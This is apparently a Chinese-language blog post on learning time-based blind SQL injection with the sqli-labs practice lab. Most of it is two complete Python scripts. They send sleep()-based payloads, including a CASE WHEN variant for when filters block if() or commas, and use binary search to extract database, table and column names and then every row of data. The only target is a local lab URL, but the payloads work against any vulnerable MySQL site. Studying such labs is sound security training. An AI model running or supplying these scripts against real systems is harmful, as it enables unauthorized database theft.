通过sqli-labs学习sql注入的时间盲注

趁着有空把时间盲注的脚本写一写
时间盲注具体脚本跟之前写的那个布尔盲注没啥区别,主要就是判断方式改了一下。

时间盲注就是通过if语句和sleep函数延迟返回时间,然后通过requests库进行检测延迟,判断得到的是否正确

直接上脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
import requests

url = 'http://127.0.0.1/Less-9/?id=1'
s = requests.session()
select_DB = 'select database()'
select_table = "select table_name from information_schema.tables where table_schema='{0}' limit {1},1"
select_column = "select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1"
select_data = 'select {0} from {1} limit {2},1'

select_table_count = "'and if((select count(table_name) from information_schema.tables where table_schema='{0}')>={1},sleep(5),NULL);--+"
select_table_name_length = "'and if((select length(table_name) from information_schema.tables where table_schema='{0}' limit "
select_table_name_length2 = ",1)>={1},sleep(5),NULL);--+"

select_column_count_payload = "'and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='{0}')>={1},sleep(5),NULL); --+"
data_count_payload = "'and if((select count(*) from {0})>={1},sleep(5),NULL); --+"

guess_length_payload = "' and if(length(({0}))>={1},sleep(5),NULL); --+"
guess_ascii_payload = "' and if(ascii(substr(({0}),{1},1))>={2},sleep(5),NULL); --+"

def guess_length(payload, target, length):
furl = url + payload.format(target,length)
try:
html = s.get(furl,timeout=2)
return False
except:
return True
def get_length(payload,target):
left = 0
right = 0
guess = 10
#确定长度上限
while 1:
if guess_length(payload, target, guess) == True:
guess = guess + 5
else:
right = guess
break
#二分法确定长度
mid = (left + right)/2
while left < right - 1:
# 如果长度大于等于mid
if guess_length(payload, target, mid) == True:
# 更新长度的左边界为mid
left = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
right = mid
# 更新中值
mid = round((left + right) / 2)
# print(left, right)
# 因为Left当长度大于等于mid时更新为mid,而right是当长度小于mid时更新为mid
# 所以长度区间:大于等于 left,小于right
# 而循环条件是 left < right - 1,退出循环,left就是所求长度
# 如循环到最后一步 left = 8, right = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return left

#猜测名称
#万恶的Python3,还得注意四舍五入(因为我们比较ascii的时候是大于等于,所以四舍五入是合理的),Python2就不需要(似乎精度变高了应该是个好事?)
def guess_name(payload, target, position, ascii):
furl = url + payload.format(target,position,ascii)
try:
html = s.get(furl,timeout=2)
return False
except:
return True
def get_name(payload, target, length):
tmp = ''
for i in range(1,length+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right -1:
if guess_name(payload, target, i, mid) ==True:
left = mid
mid = round((left + right) / 2)
else:
right = mid
mid = round((left + right) / 2)
tmp += chr(round(left))
return tmp
def main():

#查询数据库的名称长度和名称
DB_length = get_length(guess_length_payload, select_DB)
print('数据库的长度为:',str(DB_length))
print('------正在获取数据库的名称------')
DB_name = get_name(guess_ascii_payload, select_DB, DB_length)
print('数据库的名称为:',str(DB_name))

#获取数据库中表的个数
print('------正在获取数据库中表的个数------')
table_count = get_length(select_table_count, DB_name)
print('表的个数为:',table_count)

#获取数据库的表的详细信息
for i in range(0,table_count):
print(f'正在获取第{i}个表')
num = str(i)
#获取该表名长度
table_name_length_payload = select_table_name_length + num + select_table_name_length2
table_name_length = get_length(table_name_length_payload, DB_name)
print(f'第{i}个表的长度为:',str(table_name_length))
#获取该表名
select_table_name_payload = select_table.format(DB_name,i)
table_name = []
table_name.append(get_name(guess_ascii_payload, select_table_name_payload, round(table_name_length)))
print(f'第{i}个表的名字为:',table_name)

#若不需要查询全部的表的数据,可以从这里断开,令table_name里只有想要查询的表

for j in table_name:
#获取某个表的列的数量
column_count = get_length(select_column_count_payload, j)
print(f'表{j}有{column_count}个列')
#获取某个表有多少行数据
data_count = get_length(data_count_payload, j)
print(f'表{j}有{data_count}行数据')
#获取表中某列

for k in range(0,column_count):
#获取某列名长度
select_column_name_length_payload = "'and if((select length(column_name) from information_schema.columns where table_schema='"+ DB_name +"' and table_name='{0}' limit "+ str(k) +",1)>={1},sleep(5),NULL); --+"
column_name_length = get_length(select_column_name_length_payload, j)
print(f'列名长度为{column_name_length}')
#获取某列名
select_column_name_payload = select_column.format(DB_name,j,k)
column_name = get_name(guess_ascii_payload, select_column_name_payload, column_name_length)
print('列名为:',column_name)
data = []
tmp_data = []
tmp_data.append(column_name)
#获取详细数据
for l in range(0,data_count):
column_data_length_payload = "'and if((select length("+ column_name +") from {0} limit " + str(l) + ",1)>={1},sleep(5),NULL); --+"
column_data_length = get_length(column_data_length_payload, j)
select_data_payload = select_data.format(column_name,j,l)
column_data = get_name(guess_ascii_payload, select_data_payload, round(column_data_length))
tmp_data.append(column_data)
data.append(tmp_data)
tmp = ''
for i in range(0,len(data)):
tmp += data[i][0] + ' '
print('列名为:',tmp)
for j in range(1,data_count+1):
tmp = ''
for i in range(0,len(data)):
tmp += data[i][j] + ' '
print(tmp)

main()

如果不能用if函数或者过滤掉逗号时,可以用这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import requests

url = 'http://127.0.0.1/Less-9/?id=1'
s = requests.session()
#select case when (条件) then 代码1 else 代码 2 end;

def guess_length(payload, length):
'''postdata = '1'+ payload.format(length)
print(postdata)
headers = {"x-forwarded-for":postdata}
e
except:
return True'''
furl = url + payload.format(length)
print(furl)
try:
html = s.get(furl,timeout=2)
return False
except:
return True
def get_length(payload):
left = 0
right = 0
guess = 10
#确定长度上限
while 1:
if guess_length(payload, guess) == True:
guess = guess + 5
else:
right = guess
break
#二分法确定长度
mid = (left + right)/2
while left < right - 1:
# 如果长度大于等于mid
if guess_length(payload, mid) == True:
# 更新长度的左边界为mid
left = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
right = mid
# 更新中值
mid = round((left + right) / 2)
# print(left, right)
# 因为Left当长度大于等于mid时更新为mid,而right是当长度小于mid时更新为mid
# 所以长度区间:大于等于 left,小于right
# 而循环条件是 left < right - 1,退出循环,left就是所求长度
# 如循环到最后一步 left = 8, right = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return left

#猜测名称
#万恶的Python3,还得注意四舍五入(因为我们比较ascii的时候是大于等于,所以四舍五入是合理的),Python2就不需要(似乎精度变高了应该是个好事?)
def guess_name(payload, position, ascii):
'''postdata = '1'+ payload.format(position,ascii)
headers = {"x-forwarded-for":postdata}
try:
html = s.get(url,headers=headers,timeout=2)
return False
except:
return True'''
furl = url + payload.format(position,ascii)
try:
html = s.get(furl,timeout=2)
return False
except:
return True
def get_name(payload, length):
tmp = ''
for i in range(1,length+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right -1:
if guess_name(payload, i, mid) ==True:
left = mid
mid = round((left + right) / 2)
else:
right = mid
mid = round((left + right) / 2)
tmp += chr(round(left))
print(tmp)
return tmp

select_database_name_payload = "'and case when ascii(substr((select database()) from {0} for 1))>={1} then sleep(5) else 1 end--+"
select_database_length_payload = "'and case when length((select database()))>={0} then sleep(5) else 1 end--+"
select_tables_length_payload = "' and case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>={0} then sleep(4) else 1 end--+"
select_tables_name_payload = "' and case when ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1))>={1} then sleep(4) else 1 end--+"


'''database_length = get_length(select_database_length_payload)
print('数据库的长度为:',database_length)
database_name = get_name(select_database_name_payload,database_length)
print('数据库的名字为:',database_name)'''
tables_length = get_length(select_tables_length_payload)
print('所有表的长度为(包括逗号):',tables_length)
tables_name = get_name(select_tables_name_payload,tables_length)
print('所有表的名称为:',tables_name)